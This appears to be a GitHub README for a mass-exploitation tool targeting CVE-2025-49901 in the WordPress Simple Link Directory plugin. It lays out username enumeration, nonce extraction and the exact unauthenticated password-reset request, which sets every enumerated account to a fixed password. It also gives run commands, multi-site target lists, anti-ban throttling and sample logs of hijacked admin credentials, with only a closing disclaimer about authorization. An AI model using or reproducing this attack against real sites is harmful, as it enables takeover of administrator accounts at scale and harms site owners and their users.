nxploited/cve-2025-49901WordPress Simple Link Directory Plugin < 14.8.1 is vulnerable to a high priority Broken Authentication
WordPress Simple Link Directory Plugin < 14.8.1 is vulnerable to a high priority Broken Authentication
╔═══════════════════════════════════════════════════════════════════╗
║ CVE-2025-49901 · Simple Link Directory · qc-opd ║
║ Authentication Bypass → Password Reset → RCE ║
╚═══════════════════════════════════════════════════════════════════╝
The qc-opd password reset form exposed on SLD pages accepts a username and new password without verifying the user's identity through any token, email confirmation, or capability check. An unauthenticated attacker can enumerate WordPress usernames, submit the reset form for any account, and immediately authenticate with the injected password — gaining administrator access with no interaction from the target user.
┌─────────────────────────────────────────────────────────┐
│ 1. Locate SLD reset page │
│ Probe 28+ paths → match: "sld" + "_wpnonce" + form │
│ │
│ 2. Extract nonce │
│ Parse _wpnonce from HTML / JS / qc-opd-nonce │
│ │
│ 3. Enumerate usernames │
│ /?author=1..10 + /wp-json/wp/v2/users + hostname │
│ │
│ 4. Reset password for each username │
│ POST qc-restore-pwd=restore │
│ qc-uid=<username> │
│ pass=newhackerpass123 │
│ _wpnonce=<nonce> │
│ │
│ 5. Verify access (dual mode) │
│ Session mode → cookie check + /wp-admin/ probes │
│ Password mode → wp-login.php + admin panel check │
│ │
│ 6. Write confirmed hits → scan_results/reset_mass_success.txt │
└─────────────────────────────────────────────────────────┘
git clone https://github.com/Nxploited/CVE-2025-49901.git
cd CVE-2025-49901
pip install requests colorama urllib3
python3 CVE-2025-49901.py
requirements.txt
requests>=2.28.0
colorama>=0.4.6
urllib3>=1.26.0
Targets list file → list.txt (one host per line)
Threads → default 5
HTTP timeout → default 10s
Per-user delay MIN/MAX → anti-ban throttle (default 0.3 / 0.7s)
Delay between sites → default 1.0s
Output file → scan_results/reset_mass_success.txt
Targets format:
https://target1.com
target2.com
http://target3.com/wordpress
Fixed password injected for all resets:
newhackerpass123
| Method | Endpoint |
|---|---|
| Author redirect | /?author=1 → |
After each reset attempt the tool verifies access using two independent methods:
Session mode → checks wordpress_logged_in cookie + /wp-admin/ indicators
Password mode → full wp-login.php POST + multi-path admin panel probe
Admin indicators checked:
id="adminmenu" · id="wpadminbar" · id="wpwrap"
users.php · plugins.php · plugin-install-tab · upload-plugin
[HH:MM:SS] [https://target.com] NONCE: OK | RESET: OK | ACCESS: 1 HIT
[HH:MM:SS] [https://target2.com] NONCE: FAIL | RESET: - | ACCESS: 0 HIT
scan_results/reset_mass_success.txt
[2025-06-01T14:22:10] https://target.com - account=admin pass=newhackerpass123 mode=password
[2025-06-01T14:22:18] https://target.com - account=editor pass=newhackerpass123 mode=session
Nxploited (Khaled Alenazi)
GitHub → https://github.com/Nxploited
Telegram → @KNxploited
FOR AUTHORIZED SECURITY RESEARCH AND EDUCATION ONLY.
The author bears no responsibility for use against systems
the operator does not own or have explicit written permission to test.
Unauthorized use violates the CFAA, CMA, and equivalent laws worldwide.
You alone are responsible for your actions.
© 2025 Nxploited · Simple Link Directory < 14.8.1 · Fixed in 14.8.1
| CVE | CVE-2025-49901 |
| CVSS | 9.8 CRITICAL — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| ADP | CISA-ADP |
| Plugin | quantumcloud Simple Link Directory (qc-simple-link-directory) |
| Affected | All versions < 14.8.1 |
| Auth | None required |
| Type | Authentication Bypass via Alternate Path (CWE-288) |
| CWE | CWE-288 · Authentication Bypass Using an Alternate Path or Channel |
/?author=10| REST API | /wp-json/wp/v2/users |
| Hostname | First label of domain as fallback |
| Hardcoded | admin always included |